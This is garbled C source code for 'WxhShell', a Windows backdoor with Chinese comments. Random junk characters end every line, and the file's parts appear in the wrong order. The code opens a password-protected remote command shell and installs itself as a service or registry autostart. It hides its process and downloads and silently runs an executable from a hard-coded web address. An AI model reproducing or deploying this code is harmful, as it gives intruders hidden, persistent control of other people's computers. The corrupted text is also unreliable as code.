ULONG InheritedFromUniqueProcessId; SOluTFxUw
} PROCESS_BASIC_INFORMATION; zT'(I6S:)
;ao <{i?
PROCNTQSIP NtQueryInformationProcess; J>fq5
w=[ITQ|W%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'K|F{K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Dasj8GsV
'2SZ]
HANDLE hProcess; U}GO* +
PROCESS_BASIC_INFORMATION pbi; _!%@V=
A9z3SJ\vXl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )00jRuF
if(NULL == hInst ) return 0; w=thaF.
s^/2sjoL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5oo6d4[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }'h\;8y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d,o|>e$
Us3zvpy)o
if (!NtQueryInformationProcess) return 0; .~|[*
q\
;bFd*8?;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6dYa07
if(!hProcess) return 0; iAXF;'|W
0<nW
nD,z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s 4n<k]d
i1!Y{
CloseHandle(hProcess);
&0OH:P%
B.#-@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \(U|&
if(hProcess==NULL) return 0; X|y0pH:S
<SRo2rjRa
HMODULE hMod; @`aPr26>?
char procName[255]; |pE
~
unsigned long cbNeeded; \<\147&)r
x#t?`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;ih;8
~$YasFEz
CloseHandle(hProcess); 9-y<= )
Xet}
J@C
if(strstr(procName,"services")) return 1; // 以服务启动 T^Hq 5Oy
?]>;Wr
return 0; // 注册表启动 R_#k^P^
} iGNZC{
1:4u]$@E
// 主模块 E/_n}$Z
int StartWxhshell(LPSTR lpCmdLine) 8*eVP*g
{ +>:[irf
SOCKET wsl; 35YDP|XZb
BOOL val=TRUE; @ZtvpL}e
int port=0;
TrBtTqH)
struct sockaddr_in door; X&!($*/
DOq"=R+
if(wscfg.ws_autoins) Install(); DK#Tr: 7
xC2y/?
port=atoi(lpCmdLine); o>I,$=
\$,8aRT>#U
if(port<=0) port=wscfg.ws_port; ,?!MVN-
i$H9~tPs
WSADATA data; 'acCnn'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; la`f@~Bbr1
S*H
@`Do%d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \_/dfmlIZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MFqb_q+
door.sin_family = AF_INET; P}
Y .
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Eo-58<q
door.sin_port = htons(port); s2 $w>L
2=X.$&a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t5EYu*
closesocket(wsl); aF.fd2k
return 1; I %CrsEo
} au/5`
'Ge8l%p
if(listen(wsl,2) == INVALID_SOCKET) { SI7r`'7A'
closesocket(wsl); qrcir-+
return 1; V|pO";%>,
} Q=^TKsu
Wxhshell(wsl); O66b^*=N}x
WSACleanup(); n^/)T3mz{
!~Kg_*IT
return 0; m|PJwd6
=an0PN
} c>wne\(5H
v R!
y#
// 以NT服务方式启动 4C9k0]k2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6e"Lod_ L
{ ,m5tO
DWORD status = 0; Bm&6
DWORD specificError = 0xfffffff; ;t4YI7E*
`?SLp
serviceStatus.dwServiceType = SERVICE_WIN32; ]vH:@%3U
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LmP pt3[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fj[Kbo 7!h
serviceStatus.dwWin32ExitCode = 0; [!`5kI
serviceStatus.dwServiceSpecificExitCode = 0; )-\qo#0l
serviceStatus.dwCheckPoint = 0; -K6y#O@@
serviceStatus.dwWaitHint = 0; -6#
_ t
~g*5."-i
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;G*)7fi
if (hServiceStatusHandle==0) return; ]qiX"<s>~C
wM!dz&
status = GetLastError(); Xl
E0oN~{
if (status!=NO_ERROR) -a7BVEFts
{ d5n>2iO
serviceStatus.dwCurrentState = SERVICE_STOPPED; lF\2a&YRbn
serviceStatus.dwCheckPoint = 0; 4TSkm`iR
serviceStatus.dwWaitHint = 0; 8I0G%hD
serviceStatus.dwWin32ExitCode = status; ."y tBF
serviceStatus.dwServiceSpecificExitCode = specificError; }+K=>.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{cPiY^
return; dyB@qh~H
} i$CF*%+t
;dTxQ_:
serviceStatus.dwCurrentState = SERVICE_RUNNING; bl#6B.*=
serviceStatus.dwCheckPoint = 0; %Hu.FS5'
serviceStatus.dwWaitHint = 0; }l_8~/9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n'!x"O7
} Au*1-
c~!ETwpHQ
// 处理NT服务事件,比如:启动、停止 .>Fpk7
VOID WINAPI NTServiceHandler(DWORD fdwControl) 877Kv);
{ pMoza8
switch(fdwControl) ;&MnPFmq
{ `k(m2k?
case SERVICE_CONTROL_STOP: kv<(N
serviceStatus.dwWin32ExitCode = 0; Asj<u!L
serviceStatus.dwCurrentState = SERVICE_STOPPED; X#o;`QM
serviceStatus.dwCheckPoint = 0; _.SpU`>/f
serviceStatus.dwWaitHint = 0; [<nd+3E
{ )-25?B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `tl -] ^Y2
} fP
llN8n
return; qf{HGn_9~1
case SERVICE_CONTROL_PAUSE: mv(/M
t
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^grDP*;W
break; )#sN#ZR$
case SERVICE_CONTROL_CONTINUE: j3j^cO[ 8v
serviceStatus.dwCurrentState = SERVICE_RUNNING; {d> 6*b
break; cvYKZB
case SERVICE_CONTROL_INTERROGATE: :c(#03w*C
break; l0tFj>q"
}; l)V646-O,~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G^#?~
} [C@Ro,mI
3V<c4'O\W
// 标准应用程序主函数 2m9qg-W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VOT9cP^6
{ /buj(/q^#
nPH\Lra
// 获取操作系统版本 L5CnPnF
OsIsNt=GetOsVer(); H7f
Xg
GetModuleFileName(NULL,ExeFile,MAX_PATH); wV,=hMTd&\
qJw\<7m
// 从命令行安装 1;v wreJ
if(strpbrk(lpCmdLine,"iI")) Install(); }xY|z"&
m;S%RB^~H
// 下载执行文件 MI~QXy,
if(wscfg.ws_downexe) { (A-Uo
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y|3!E>Up
WinExec(wscfg.ws_filenam,SW_HIDE); ;|f]e/El
} m`jGBSlw_
+y][s{A
if(!OsIsNt) { 8DFq eY0S
// 如果时win9x,隐藏进程并且设置为注册表启动 FV%|*JW[;N
HideProc(); 4 &0MB>m
StartWxhshell(lpCmdLine); A[f`xE
} VYrs4IFT$
else o@YEd d
if(StartFromService()) ?yA
2N;
// 以服务方式启动 <iM}p^jX9
StartServiceCtrlDispatcher(DispatchTable); f?"909&
else Zm#,Ike?#
// 普通方式启动 lLEEre
StartWxhshell(lpCmdLine); )7Oj
M*dou_Q
return 0; +\J+?jOC4S
} ")w~pZE&+
uFaT~ 4
WctGhGH
.G|U#%"6x
=========================================== >,f5 5
bLUyZ3m!
_;-b ZH
7s;*vd>
axv-UdE;
##U/Wa3
" ]Yf8
>9[wjB2?}
#include <stdio.h> ,MD>Jx|
#include <string.h> 4rD&Lg'
#include <windows.h> bWzUWLa
#include <winsock2.h> u<HJFGLzI
#include <winsvc.h> RG-,<G`
#include <urlmon.h> x^
sTGd
dz?Ey~;M
#pragma comment (lib, "Ws2_32.lib") wT:mfS09N
#pragma comment (lib, "urlmon.lib") ^0/!:*?
5NMju!/
#define MAX_USER 100 // 最大客户端连接数 S|_lbMZM
#define BUF_SOCK 200 // sock buffer ['I5(M@
#define KEY_BUFF 255 // 输入 buffer r4 ;nkx
Chtls;Ph[
#define REBOOT 0 // 重启 ET|4a(x
#define SHUTDOWN 1 // 关机 , D`\
RV
YTfMYH=}
#define DEF_PORT 5000 // 监听端口 Ft8ii|-
b>|d Q
#define REG_LEN 16 // 注册表键长度 Na`vw
#define SVC_LEN 80 // NT服务名长度 q?#w%0}
z!^3%kJJ>
// 从dll定义API T2 V(P>E
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /fxv^C82yv
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -yY]0
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?gS~9jgcd
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u~27\oj,
~<=wTns!
// wxhshell配置信息 8uB6C0,6?
struct WSCFG { ,
ins/-3
int ws_port; // 监听端口 |exjrsmM*
char ws_passstr[REG_LEN]; // 口令 9Oc(Gl5az
int ws_autoins; // 安装标记, 1=yes 0=no !^w}Sp
char ws_regname[REG_LEN]; // 注册表键名 xQ8?"K;iX
char ws_svcname[REG_LEN]; // 服务名 HuajdC~
char ws_svcdisp[SVC_LEN]; // 服务显示名 mQ:5(]v
char ws_svcdesc[SVC_LEN]; // 服务描述信息 tVAH\*a,/
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G88g@Exk
int ws_downexe; // 下载执行标记, 1=yes 0=no o&rNM5:
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :4S~}}N
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MT.D#jv&
5i&+.?(Z=
}; $:*/^)L
XNB4KjT
// default Wxhshell configuration 9X87"
struct WSCFG wscfg={DEF_PORT, liVj-*m
"xuhuanlingzhe", c +]5[6
1, !T26#>mV
"Wxhshell", t0o'_>*?A
"Wxhshell", `xu/|})KI
"WxhShell Service", (J\Qo9Il
"Wrsky Windows CmdShell Service", +FtL_7[v
"Please Input Your Password: ", 2]-xmS>|b
1, "?Xb$V7
"http://www.wrsky.com/wxhshell.exe", 4(}V$#^+
"Wxhshell.exe" Ck^jgB.7
}; ,2^zX]dgM
T\$r|
// 消息定义模块 H%`|yUE(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ewzZb*\
char *msg_ws_prompt="\n\r? for help\n\r#>"; -$5nqaK?
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lw #vHNf6
char *msg_ws_ext="\n\rExit."; 1M/_:UH`
char *msg_ws_end="\n\rQuit."; %%Z|6V74
char *msg_ws_boot="\n\rReboot..."; @P}!mdH1
char *msg_ws_poff="\n\rShutdown..."; *heX[D
&>)
char *msg_ws_down="\n\rSave to "; FQ6{NMz,h
mRC6m
K>
char *msg_ws_err="\n\rErr!"; ;l2pdP4jf
char *msg_ws_ok="\n\rOK!"; b>"=kN/
\l9S5%L9
char ExeFile[MAX_PATH]; V/i7Z h#2:
int nUser = 0; jCv%[H7
HANDLE handles[MAX_USER]; 6?(vXPpT$
int OsIsNt; k=qb YGK
:6X?EbXhK
SERVICE_STATUS serviceStatus; 4GTB82V$
SERVICE_STATUS_HANDLE hServiceStatusHandle; &nEQ